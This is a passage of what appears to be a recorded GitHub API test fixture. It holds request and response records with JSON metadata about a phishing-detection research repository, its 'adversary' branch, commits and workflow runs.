com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":26125138,"node_id":"MDExOldvcmtmbG93UnVuMjYxMjUxMzg=","head_branch":"master","head_sha":"a8511f8d1c175332a8dd5c77df314ac2a3557771","run_number":4,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":399033679,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUzOTkwMzM2Nzk=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26125138","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/26125138","pull_requests":[],"created_at":"2020-01-14T03:14:38Z","updated_at":"2020-01-14T03:18:58Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26125138/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26125138/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/399033679","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26125138/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26125138/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26125138/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"a8511f8d1c175332a8dd5c77df314ac2a3557771","tree_id":"e0fc2b4f2eb107ebc4e431a257c02a4928f03c38","message":"Added github workflow to run unit tests","timestamp":"2020-01-14T03:14:35Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"Shahryar Baki","email":"sh.baki@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}}]} - +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection/branches/adversary +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:33 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"dcc53de4e11ab7c5c6010979de5f68002c0a2e617229e70f5b637b2ec32f32cb"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4913'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '87'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F149:5EBC:4B45D:B84EE:5F987C9D')] +{"name":"adversary","commit":{"sha":"9693e6ca40711c68e2d2ecc4e291b3880c006336","node_id":"MDY6Q29tbWl0MTQ2MTM5NDAzOjk2OTNlNmNhNDA3MTFjNjhlMmQyZWNjNGUyOTFiMzg4MGMwMDYzMzY=","commit":{"author":{"name":"Radoslaw Konopka","email":"radek100200@gmail.com","date":"2020-08-11T23:16:38Z"},"committer":{"name":"Radoslaw Konopka","email":"radek100200@gmail.com","date":"2020-08-11T23:16:38Z"},"message":"Adversary Integration\n\n- 2 new datasets paths + 2 True/False in config file\n- Changes email's text before extracting with the adversarial text\n- Changes are made based on corresponding text file name. If not found, it will not change text.","tree":{"sha":"8f391261d2f13bbd878f5ef493d22ceb2b2719a8","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees/8f391261d2f13bbd878f5ef493d22ceb2b2719a8"},"url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits/9693e6ca40711c68e2d2ecc4e291b3880c006336","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits/9693e6ca40711c68e2d2ecc4e291b3880c006336","html_url":"https://github.com/ReDASers/Phishing-Detection/commit/9693e6ca40711c68e2d2ecc4e291b3880c006336","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits/9693e6ca40711c68e2d2ecc4e291b3880c006336/comments","author":{"login":"radoslawkonopka","id":47802853,"node_id":"MDQ6VXNlcjQ3ODAyODUz","avatar_url":"https://avatars1.githubusercontent.com/u/47802853?v=4","gravatar_id":"","url":"https://api.github.com/users/radoslawkonopka","html_url":"https://github.com/radoslawkonopka","followers_url":"https://api.github.com/users/radoslawkonopka/followers","following_url":"https://api.github.com/users/radoslawkonopka/following{/other_user}","gists_url":"https://api.github.com/users/radoslawkonopka/gists{/gist_id}","starred_url":"https://api.github.com/users/radoslawkonopka/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/radoslawkonopka/subscriptions","organizations_url":"https://api.github.com/users/radoslawkonopka/orgs","repos_url":"https://api.github.com/users/radoslawkonopka/repos","events_url":"https://api.github.com/users/radoslawkonopka/events{/privacy}","received_events_url":"https://api.github.com/users/radoslawkonopka/received_events","type":"User","site_admin":false},"committer":{"login":"radoslawkonopka","id":47802853,"node_id":"MDQ6VXNlcjQ3ODAyODUz","avatar_url":"https://avatars1.githubusercontent.com/u/47802853?v=4","gravatar_id":"","url":"https://api.github.com/users/radoslawkonopka","html_url":"https://github.com/radoslawkonopka","followers_url":"https://api.github.com/users/radoslawkonopka/followers","following_url":"https://api.github.com/users/radoslawkonopka/following{/other_user}","gists_url":"https://api.github.com/users/radoslawkonopka/gists{/gist_id}","starred_url":"https://api.github.com/users/radoslawkonopka/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/radoslawkonopka/subscriptions","organizations_url":"https://api.github.com/users/radoslawkonopka/orgs","repos_url":"https://api.github.com/users/radoslawkonopka/repos","events_url":"https://api.github.com/users/radoslawkonopka/events{/privacy}","received_events_url":"https://api.github.com/users/radoslawkonopka/received_events","type":"User","site_admin":false},"parents":[{"sha":"cf7bac3ae6ffcc0e4fb28ff149f77b538d6f7be0","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits/cf7bac3ae6ffcc0e4fb28ff149f77b538d6f7be0","html_url":"https://github.com/ReDASers/Phishing-Detection/commit/cf7bac3ae6ffcc0e4fb28ff149f77b538d6f7be0"}]},"_links":{"self":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches/adversary","html":"https://github.com/ReDASers/Phishing-Detection/tree/adversary"},"protected":false,"protection":{"enabled":false,"required_status_checks":{"enforcement_level":"off","contexts":[]}},"protection_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches/adversary/protection"} + +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection/actions/runs?branch=adversary +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:33 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c87a31882ef244f45740a3e3a149c4714f9ecce8c1b29de53013ae837823c4bd"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4912'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '88'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F14A:1734:4A021:A9B61:5F987C9D')] +{"total_count":1,"workflow_runs":[{"id":204764033,"node_id":"MDExOldvcmtmbG93UnVuMjA0NzY0MDMz","head_branch":"adversary","head_sha":"9693e6ca40711c68e2d2ecc4e291b3880c006336","run_number":628,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1038316439,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMDM4MzE2NDM5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/204764033","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/204764033","pull_requests":[],"created_at":"2020-08-11T23:46:58Z","updated_at":"2020-08-12T00:04:06Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/204764033/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/204764033/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1038316439","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/204764033/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/204764033/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/204764033/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"9693e6ca40711c68e2d2ecc4e291b3880c006336","tree_id":"8f391261d2f13bbd878f5ef493d22ceb2b2719a8","message":"Adversary Integration\n\n- 2 new datasets paths + 2 True/False in config file\n- Changes email's text before extracting with the adversarial text\n- Changes are made based on corresponding text file name. If not found, it will not change text.","timestamp":"2020-08-11T23:16:38Z","author":{"name":"Radoslaw Konopka","email":"radek100200@gmail.com"},"committer":{"name":"Radoslaw Konopka","email":"radek100200@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/t